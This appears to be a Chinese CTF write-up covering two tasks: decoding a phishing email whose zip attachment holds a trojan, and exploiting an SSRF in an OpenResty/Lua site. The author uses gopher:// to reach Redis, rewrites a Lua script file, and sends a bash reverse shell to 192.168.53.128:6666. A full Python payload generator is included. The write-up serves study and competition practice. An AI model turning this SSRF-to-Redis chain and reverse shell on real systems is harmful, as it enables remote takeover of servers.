软件安全赛

2025/1/5打了软件安全赛,针对个人来讲难度还是很大的,所以把出的两个题分析一下。

1. 钓鱼邮件分析

邮件解密,它是所有的都用了base编码 解码 有用的只有下面的正文。

<div class="qmbox"><p style="font-family: -apple-system, BlinkMacSystemFont, &quot;
PingFang SC&quot;
, &quot;
Microsoft YaHei&quot;
, sans-serif; font-size: 10.5pt; color: rgb(46, 48, 51);
">今天是你的24岁生日,祝你生日快乐</p><div xmail-signature=""><xm-signature></xm-signature><p></p></div></div>X-QQ-XMRINFO: Mp0Kj//9VHAxr69bL5MkOOs=X-QQ-XMAILINFO: Mi/i+wq2NsJqOjK39baWcJF141jv20ysu7uvjsdVZOQPyBXZKFBBJqrPZCTiKJ	 d7wdGsfbzivUI9F/OZZvBm1nmIa5oNSrj2hkORK7/+5NZPP0GrlCdUnmiEIUxIB4eEIzPsyVFl5gO	 Xf6wdCD4iXuYlexjoTN90TNSwJIqMt8ToLR8AETY5sAwIW7kggpoQxoi1jcsS/xEOpLVhrCDSLktm	 P/95iJcEPLeFb1Bj78s8aljWgWHWNVeyVxoKt/BE9DghasuyQjiOzzl4Lg/UnJM3ALsbAXFJyLW4Q	 /6PKnwZS/VNwNUVhGKFDPU5aWEFSVufu1p5EVl4J3cth2I7LZ/kT8fYox8teauDeml/1f9jQNoGx0	 2mufT0LbYCncO26MxVRZ5Hb+WK1jcHC3HRzOgy+t695gzOa6iVFTinruQrT1EzEU4p7keQ0Z2uat8	 Ide9mSRWQ0dg0xrqwYXdd19qcfVuVBbi5KC/tAh4OoTjxYh/JCD2gQD0h3fBstrUhK4UISpinTFtB	 zw+Rt5PHOk+KZFufpCYPRjwnFJ7bdFLD76shuYRegxAcwpX7EbwLDTOQ1vSQgTivo6K0Y+620ovSp	 dX/rORvapshvqd41rtXWHd/QAQ3t1A5a/IpO/n1sVJWwSz9Z864P1SJJ3QdgXj3Dz0N6Ch4HujG+M	 bh6XhF4jJRUdtXCCr+TH3TN8KjUz2XUiBccfDD/HPgaac5KUVt+xlvrYBUivd/4iPOyy9y6a0K8Pg	 /xm+Hhec+Bo/nfEndClgLY116fdOmD/3T7QCCmmL1pDfSJe9pnht9mVI7ySS4YyIuANf1La/vUDxl	 kw0beVN9ooCvf9NJGixdVbtdN2RVm+10Qpl1ErR2dyrhMpg8vVzc5ztc/CayChAHmJNpb/MacZSbA	 392cIqk05wGYxVuq5ETGzL0o9tlik/quWMrHJnPZeVWY2Zl4JvHDUPJYkldGzXO7h8qmcNev9Pm5z	 4nEsdRYqRGJt/nmncvZv3y7Stt7Shn5/LEJ0OLA9hF3uh6y5m9cUa7zoTjMrPVjCdNJVn8ZLFnZT8	 VVh/0T/zB40wTE76YUO/wTBs1sg==From: "=?utf-8?B?QWxpY2Nl?=" <Alice
@qq.com>To: "=?utf-8?B?Qm9i?=" <Bob
@qq.com>Subject: =?utf-8?B?55Sf5pel5b+r5LmQ?=Mime-Version: 1.0Content-Type: multipart/mixed;	boundary="----=_NextPart_67318E01_3D423680_3EAF4BE3"Content-Transfer-Encoding: 8BitDate: Mon, 11 Nov 2024 12:54:24 +0800X-Priority: 3Message-ID: <tencent_5926819C8C20A292B26A361A43C2F84BEA09
@qq.com>X-QQ-MIME: TCMime 1.0 by TencentX-Mailer: QQMail 2.xX-QQ-Mailer: QQMail 2.xX-QQ-mid: xmseza31-0t1731300864t1gxcwyusThis is a multi-part message in MIME format.------=_NextPart_67318E01_3D423680_3EAF4BE3Content-Type: multipart/alternative;	boundary="----=_NextPart_67318E01_3D423680_45B6667D";
------=_NextPart_67318E01_3D423680_45B6667DContent-Type: text/plain;	charset="utf-8"Content-Transfer-Encoding: base645LuK5aSp5piv5L2g55qEMjTlsoHnlJ/ml6XvvIznpZ3kvaDnlJ/ml6Xlv6vkuZA=今天是你的24岁生日,祝你生日快乐------=_NextPart_67318E01_3D423680_45B6667DContent-Type: text/html;	charset="utf-8"Content-Transfer-Encoding: base64PGRpdiBjbGFzcz0icW1ib3giPjxwIHN0eWxlPSJmb250LWZhbWlseTogLWFwcGxlLXN5c3RlbSwgQmxpbmtNYWNTeXN0ZW1Gb250LCAmcXVvdDtQaW5nRmFuZyBTQyZxdW90OywgJnF1b3Q7TWljcm9zb2Z0IFlhSGVpJnF1b3Q7LCBzYW5zLXNlcmlmOyBmb250LXNpemU6IDEwLjVwdDsgY29sb3I6IHJnYig0NiwgNDgsIDUxKTsiPuS7iuWkqeaYr+S9oOeahDI05bKB55Sf5pel77yM56Wd5L2g55Sf5pel5b+r5LmQPC9wPjxkaXYgeG1haWwtc2lnbmF0dXJlPSIiPjx4bS1zaWduYXR1cmU+PC94bS1zaWduYXR1cmU+PHA+PC9wPjwvZGl2PjwvZGl2Pg==------=_NextPart_67318E01_3D423680_45B6667D--------=_NextPart_67318E01_3D423680_3EAF4BE3Content-Type: application/octet-stream;	charset="utf-8";	name="=?utf-8?B?55Sf5pel56S854mpLnppcA==?="Content-Disposition: attachment; filename="=?utf-8?B?55Sf5pel56S854mpLnppcA==?="Content-Transfer-Encoding: base64------=_NextPart_67318E01_3D423680_3EAF4BE3--

解码


import base64
def decodebase():
with open("mail.txt","r") as  file:
message=file.read()
message=message.replace("\n","")
# 
print(message)
demessage=base64.b64decode(message)
with open("1.zip","wb") as file1:
file1.write(demessage)
if __name__=="__main__":
decodebase()

拿到zip包解压 密码直接爆破

image.png

打开就发现了木马文件沙箱直接分析。

image.png
image.png
分析到ip 和端口

2. web1

拿到docker,分析出这个利用nginx 和lua进行搭建的web站点。先看nginx配置信息

location / {
root   html;
index  index.html;
}
location /visit {
default_type text/plain;
content_by_lua_file /usr/local/openresty/nginx/lua/main.lua;
}

可以看到两个路由,一个是由index.html处理/ 另外一个是由main.lua处理/visit于是首先分析
index.html

2.1 index.html
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1.0" />
        <title>URL Visitor</title>
    </head>
    <body>
        <div class="container">
            <h1>Visit a Website</h1>
            <input type="text" id="urlInput" placeholder="Enter a URL" />
            <button onclick="visitUrl()">Visit</button>
            <!-- 触发函数 进行url访问-->
            <iframe id="urlFrame" src=""></iframe>
        </div>
        <script>
            function visitUrl() {
                var url = document.getElementById("urlInput").value;
                var iframe = document.getElementById("urlFrame");
                <!-- 相当于src 中的url换成了我们的拼接的get传递参数的值-->
                iframe.src = "/visit?url=" + encodeURIComponent(url);
            }
        </script>
    </body>
</html>

因此就可以看出来还是在/visit路由上在做文章,而/visit通过nginx的配置文件可以看出。/visit的路由是由main.lua进行处理的。

2.2 main.lua
-- 打开一个文件并且将文件内容读出来local function read_file(filename)
local file = io.open(filename, "r")
if not file then
print("Error: Could not open file " .. filename)
return nil
end
local content = file:read("*a")
file:close()
return contentend-- 执行对应的lua 代码 local function execute_lua_code(script_content)	-- 先找到 ##LUA_START##(.-)##LUA_END##  这两个特征内部的内容
local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
if lua_code then
-- 加载 代码
local chunk, err = load(lua_code)
if chunk then
-- 执行代码
local success, result = pcall(chunk)
if not success then
print("Error executing Lua code: ", result)
end
else
print("Error loading Lua code: ", err)
end
else
print("Error: No valid Lua code block found.")
endend-- 主函数  打开脚本文件读取出内容然后传递给执行函数local function main()
local filename = "/scripts/visit.script"
local script_content = read_file(filename)
if script_content then
execute_lua_code(script_content)
endendmain()

可以看出内部主要是执行了 visit.script 这才是核心

2.3 visit.script
##LUA_START##-- 这就是刚才的参数传递的参数 local curl = require("cURL")local redis = require("resty.redis")ngx.req.read_body()local args = ngx.req.get_uri_args()local url = args.url
if not url then
ngx.say("URL parameter is missing!")
returnend-- 开始连接redislocal red = redis:new()red:set_timeout(1000)local ok, err = red:connect("127.0.0.1", 6379)
if not ok then
ngx.say("Failed to connect to Redis: ", err)
returnend-- 访问对应的 url 拿到结果 这其实只是个查看缓存的操作。-- 查看是否之前 有这个缓存local res, err = red:get(url)
if res and res ~= ngx.null then
ngx.say(res)
returnend-- 连接local c = curl.easy {
url = url,
timeout = 5,
connecttimeout = 5}
local response_body = {
}
-- 连接远程  并且 存储响应c:setopt_writefunction(table.insert, response_body)local ok, err = pcall(c.perform, c)
if not ok then
ngx.say("Failed to perform request: ", err)
c:close()
returnendc:close()-- 存储响应到redislocal response_str = table.concat(response_body)local ok, err = red:setex(url, 3600, response_str)
if not ok then
ngx.say("Failed to save response in Redis: ", err)
returnendngx.say(response_str)##LUA_END##
2.4 分析

目前已经很明显了,其实就是url请求,很自然就能想到ssrf 然后利用ssrf打redis 。经过了多次尝试发现 无论是ssh ,定时任务都无法成功,自然想到利用木马,但是我们又写不成php马。要写lua马。但是lua的路由已经固定了,我们就去重写main.lua 但是尝试失败,因为在redis写马时候我们会有很多的乱码版本信息。严重影响了lua的解析。

但是我们发现 在main.lua有这样一句话。我们完全可以重写visit.script。然后使用这个match的特征匹配就可以完全解决乱码的问题。使得我们的结果成功解析。

local lua_code = script_content:match("##LUA_START##(.-)##LUA_END##")
2.5 exp

visit.script 重写内容

先测试一下能否正常写入lua代码并且执行。

##LUA_START##ngx.say("hello")##LUA_END##

image.png
可以看出我们已经绕过了这个乱码带来的影响,直接可以包含lua代码并且加载执行。但是目前有个问题,我发现我们的内容长度不可以太长。我始终找不到对应的原因。可能是系统的问题跟打定时任务一样,centos 和ubuntu 不一样。

##LUA_START##os.execute("/bin/bash -i >&  /dev/tcp/192.168.53.128/6666  0<&")##LUA_END##
2.6 生成payload

import urllib.parseprotocol = "gopher://"ip = "127.0.0.1"port = "6379"shell = """\n\n##LUA_START##os.execute("/bin/bash -i >& /dev/tcp/192.168.53.128/6666 0>&1")##LUA_END##\n\n"""filename = "visit.script"path = "/scripts"# 这个相当于可以添加密码认证 这边直接输入账号和密码passwd = ""cmd = ["flushall",
"set 1 {
}
".format(shell.replace(" ","${
IFS}
")),
"config set dir {
}
".format(path),
"config set dbfilename {
}
".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {
}
".format(passwd))payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "{{content}}quot; + str(len((x.replace("${
IFS}
"," ")))) + CRLF + x.replace("${
IFS}
"," ")
cmd += CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
# 最后一个url 编码是因为get传递参数 这个是可选的需要看前端的写法
#
print(payload)
#
print(urllib.parse.quote(payload))
import requests
res=requests.get("http://192.168.53.128/visit?url="+urllib.parse.quote(payload)).text
print(res)

image.png